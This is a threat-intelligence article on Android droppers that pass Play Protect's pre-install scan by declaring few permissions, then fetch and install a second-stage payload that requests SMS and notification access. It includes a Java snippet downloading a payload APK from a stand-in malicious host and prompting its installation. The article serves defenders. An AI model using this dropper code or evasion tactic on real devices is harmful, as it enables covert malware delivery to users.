Threat Actors Adapting Android Droppers Even to Deploy Simple Malware to Stay Future-Proof

Android droppers have evolved from niche installers for heavyweight banking Trojans into universal delivery frameworks, capable of deploying even rudimentary spyware or SMS stealers.

Initially, droppers served banking malware families that required elevated Accessibility permissions to harvest credentials.

These small applications appeared innocuous at first glance, often masquerading as utility or government apps in high-risk regions. Once installed, they would fetch their true payload, request powerful permissions, and activate their malicious routines.

As defenders strengthened pre-installation scanning, threat actors began rethinking their approach.

In recent months, a surge in dropper-based campaigns targeting Asia—particularly India and Southeast Asia—has emerged. Rather than rely solely on complex RATs or financial Trojans, adversaries now encapsulate simple payloads within dropper shells.

This strategy exploits a critical gap in Google Play Protect’s Pilot Program, which performs a pre-installation permission and API scan but allows installation to proceed if the user confirms.

Threat Fabric analysts noted that this pivot not only circumvents upfront defenses but also future-proofs operations, enabling rapid payload swaps without modifying the dropper itself.

By embedding minimalist stage-one code that carries no high-risk permissions, modern droppers slip through Pilot Program inspections undetected.

Threat Fabric researchers identified variants like RewardDropMiner.B, stripped of its Monero miner and fallback spyware, retaining only the dropper logic to reduce noise and evade detection.

Once the benign “update” prompt is accepted by a user, a concealed routine fetches or decrypts the secondary APK, dynamically requesting RECEIVE_SMS or BIND_NOTIFICATION permissions only upon first launch of the true payload.

The impact of these campaigns is twofold: defenders lose early visibility into malicious activity, and operators maintain a stable foothold capable of delivering arbitrary payloads.

This modularity allows threat actors to react swiftly to security updates or law enforcement takedowns by uploading new payloads behind an unchanged dropper shell hosted on their command-and-control infrastructure.

Infection Mechanism and Evasion Tactics

Delving into the infection mechanism reveals a multi-stage process designed for stealth and resiliency. The dropper’s manifest declares only INTERNET and REQUEST_INSTALL_PACKAGES permissions, avoiding flags in Play Protect’s Pilot scan.

Upon user interaction with the “update” interface, the dropper initiates an HTTPS request to a remote server:-

String payloadUrl = "https://malicious.example.com/payload.apk";
OkHttpClient client = new OkHttpClient();
Request request = new Request.Builder().url(payloadUrl).build();
Response response = client.newCall(request).execute();
if (response.isSuccessful()) {
    File apk = new File(getExternalFilesDir(null), "payload.apk");
    try (FileOutputStream fos = new FileOutputStream(apk)) {
        fos.write(response.body().bytes());
    }
    Intent installIntent = new Intent(Intent.ACTION_VIEW);
    installIntent.setDataAndType(
        FileProvider.getUriForFile(this, getPackageName()+".provider", apk),
        "application/vnd.android.package-archive"
    );
    installIntent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
    startActivity(installIntent);
}

This snippet exemplifies the dropper’s use of standard APIs to download and prompt installation of the payload without triggering high-risk permission alerts.

After installation, the payload’s launcher activity requests RECEIVE_SMS and BIND_NOTIFICATION, at which point Play Protect may warn the user—but often too late, as trust in the initial dropper transfer extends to the newly installed app.

These evasion tactics highlight a pressing need for defenders to correlate pre- and post-install scans and to monitor side-loaded application behavior continuously.

Boost your SOC and help your team protect your business with free top-notch threat intelligence: Request TI Lookup Premium Trial.